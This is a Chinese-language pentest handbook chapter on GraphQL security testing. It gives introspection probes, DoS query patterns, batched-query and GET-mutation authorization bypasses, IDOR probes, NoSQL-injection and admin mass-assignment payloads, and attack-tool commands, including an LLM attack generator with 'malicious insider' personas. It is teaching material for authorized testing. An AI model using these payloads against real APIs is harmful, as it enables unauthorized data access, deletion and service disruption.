逆向工程实战手册 第 65 章

第 65 章 GraphQL 安全测试(API 深度攻击)

GraphQL 正在取代 REST 成为现代 API 的主流。它"一个端点、查询什么给什么"的设计带来全新攻击面:内省泄露、DoS 向量、批量查询绕过、授权缺失。本章系统覆盖 GraphQL 的侦察→攻击→利用全流程。

📍 知识点地图 | 主题:GraphQL安全 | 前置:第58章 | 后续:— | 核心概念:内省、DoS向量、批查询绕过、越权

65.1 GraphQL 核心概念(先懂协议)

与 REST 的本质差异:
  REST: 多个端点 + 固定返回结构
  GraphQL: 单个端点(通常是 /graphql)+ 客户端自定义查询结构

三个核心操作:
  Query(查询): 读数据
  Mutation(变更): 写数据
  Subscription(订阅): 实时推送

查询示例:
  query { user(id: 1) { name email } }
  mutation { deleteUser(id: 2) }

Schema(模式): 描述所有可查的类型/字段/参数 —— 攻击者的地图!

安全含义:GraphQL 把"攻击面"浓缩成一个端点,把"Schema 地图"放在内省(introspection)里——拿到 Schema = 拿到完整的 API 地图

65.2 侦察:内省探测(三步降级法)

内省(Introspection)是什么

GraphQL 允许客户端查询"这个 API 能干什么"(Schema 自描述)
如果服务端未关闭内省 → 攻击者直接拿到完整数据结构
= 相当于 REST 的完整 API 文档泄露

三级探测(从完整到最小)

# Level 1 — 标准内省(完整 Schema 地图)
{
  __schema {
    queryType { name }
    mutationType { name }
    types {
      name
      fields { name type { name } }
    }
  }
}

# Level 2 — 精简内省(绕过简单的 WAF 规则)
{ __schema { types { name } } }

# Level 3 — 最小探测(只要"还有没有内省")
{ __type(name: "Query") { name } }

批量收割 Schema

如果 Level 1 被封,逐个类型查询:
  { __type(name: "User") { fields { name type { name } } } }
  { __type(name: "Mutation") { fields { name args { name type { name } } } } }

拿到 Schema 后的价值

□ 所有类型/字段/参数(完整攻击面地图)
□ Mutation 列表(哪些"写"操作存在——越权测试目标)
□ 参数类型(ID/输入对象/枚举——知道怎么构造)
□ 危险字段(delete/update/admin/secret)
□ 自定义标量(可能是 JSON/文件/URL —— 注入点)

65.3 DoS 攻击向量(GraphQL 特有)

1. 别名过载(Alias Overload)

原理: 同一字段用不同别名重复查询 → 服务端重复执行
查询: { a1: __typename a2: __typename ... a100: __typename }
危害: 单个请求消耗数百倍资源(无速率限制时)

绕过限速: 限速按"请求数"计 → 别名让"一个请求=100 次执行"

2. 批查询过载(Batched Query)

[
  { "query": "query { me { id } }" },
  { "query": "query { me { email } }" },
  ... 几十个
]

3. 循环嵌套查询(Cyclic Query)

# 类型互相引用 → 无限嵌套
query {
  __schema {
    types {
      fields {
        type {
          fields {
            type { fields { name } }   # 无限加深
          }
        }
      }
    }
  }
}

4. 指令过载

query { __typename @skip(if: false) @include(if: true) ...重复指令... }

5. 深度过载(Deep Query)

# 字段多层嵌套(friends -> friends -> friends...)
query { me { friends { friends { friends { ... } } } } }

防御认知:服务端应有查询深度限制、复杂度限制、别名限制、批查询限制。

65.4 授权测试(GraphQL 越权的特殊性)

1. GET 请求执行 Mutation(CSRF)

GraphQL 通常接受 GET 请求(参数在 query 字符串)
→ 攻击者用 <img> 或 <a> 触发 GET → 执行 mutation(写操作)

GET /graphql?query=mutation+{+deleteUser(id:1)+}

2. 批查询绕过认证(经典!)

原理: 某些实现只验证"第一个查询"的权限,批里的其他查询不验证

[
  { "query": "query { me { id } }" },          # 已验证(自己的)
  { "query": "mutation { deleteUser(id: 2) }" } # 未验证(别人的!)
]

3. 字段级授权缺失

问题: REST 按端点授权,GraphQL 按字段授权——很多实现只在"查询级"验证
      → 查询能过,但其中某个字段没检查权限

测试: 构造包含敏感字段的查询,看是否返回数据
query { user(id: 1) { name email phone secretToken } }

4. IDOR in GraphQL

和 REST 相同的 IDOR 测试(第 58.6),但:
  □ 参数在 query/mutation 的参数列表里
  □ 枚举更方便(Schema 告诉你所有 ID 参数)
query { user(id: 1002) { name } }   # 别人的数据

65.5 参数注入(GraphQL 参数也是输入)

□ NoSQL 注入(JSON 参数):
  {"username": {"$gt": ""}, "password": {"$ne": ""}}

□ 批量赋值(Mutation 输入对象):
  mutation { updateUser(id: 1, input: {email: "x@y.z", role: "admin", isAdmin: true}) }

□ 自定义标量注入:
  如果 Schema 有"任意 JSON/文件路径/URL"标量 → 注入测试点

65.6 GraphQL 工具链

# 1. Vespasian(流量 → API 规范)
vespasian crawl --url https://target.com --depth 3
vespasian import --file traffic.har
vespasian export --format openapi3 --output api-spec.yaml

# 2. Entropy(LLM 自动攻击生成——五种人格)
entropy --spec api-spec.yaml --live --persona all
# 人格: malicious_insider(IDOR/越权) bot_swarm(限速绕过)
#       penetration_tester(注入) impatient_consumer(竞态) confused_user(边界)

# 3. api.sh(8 阶段管道)
./api.sh graphql-recon https://target.com/graphql
./api.sh graphql-exploit https://target.com/graphql
./api.sh rest-abuse https://target.com/api
./api.sh ws-test wss://target.com/ws
./api.sh rate-bypass https://target.com/api

# 4. Burp + InQL 扩展(GraphQL 自动内省+生成测试)
# 5. GraphQL Playground/Altair(手工查询)

65.7 完整测试流程

1. 找端点: /graphql /gql /api/graphql /v1/graphql(目录枚举+JS 逆向)
2. 内省探测(三级)→ 拿到 Schema 地图
3. 枚举 Query/Mutation → 标注敏感操作(delete/update/admin)
4. 授权测试: 批查询绕过/字段级越权/IDOR/GET mutation
5. 注入测试: 参数注入/NoSQL/自定义标量
6. DoS 测试: 别名/批/循环/深度过载(点到即止!)
7. 记录: 每个漏洞的查询语句+响应证据

65.8 检查清单

□ 端点发现(/graphql 等)
□ 内省开启?(三级探测)
□ Schema 全量收割(类型/字段/参数)
□ 敏感 Mutation 列表
□ 批查询认证绕过
□ GET mutation CSRF
□ 字段级越权
□ IDOR(ID 参数遍历)
□ 参数注入(NoSQL/批量赋值/标量)
□ DoS 向量(别名/批/循环/深度)
□ 报告: 查询语句可复现

动手练习

  1. 在 DVGA(Damn Vulnerable GraphQL App,专为 GraphQL 漏洞设计)靶场完成:内省、别名 DoS、批查询绕过三个实验。
  2. 用 Burp InQL 对一个练习 GraphQL 端点自动内省,导出 Schema 并标注敏感字段。
  3. 构造一次"批查询认证绕过"(一个已验证查询+一个未验证 mutation),观察服务端行为。
  4. 用 Vespasian 从 HAR 生成一个 API 规范,对比"实际 API"与"文档 API"的差异。

深入阅读

  • 仓库:skills/api-security/SKILL.md(API 安全 10 阶段方法论)
  • 仓库:skills/api-security/references/rest-graphql-testing.md(GraphQL 完整测试清单)
  • 仓库:CTF-Sandbox-Orchestrator/competition-graphql-rpc-drift/(GraphQL CTF 子技能)
  • 仓库:CTF-Sandbox-Orchestrator/competition-bundle-sourcemap-recovery/(前端 bundle 找端点)
  • 仓库:skills/pentest-tools/src-hunter/(SRC 中的 API 漏洞)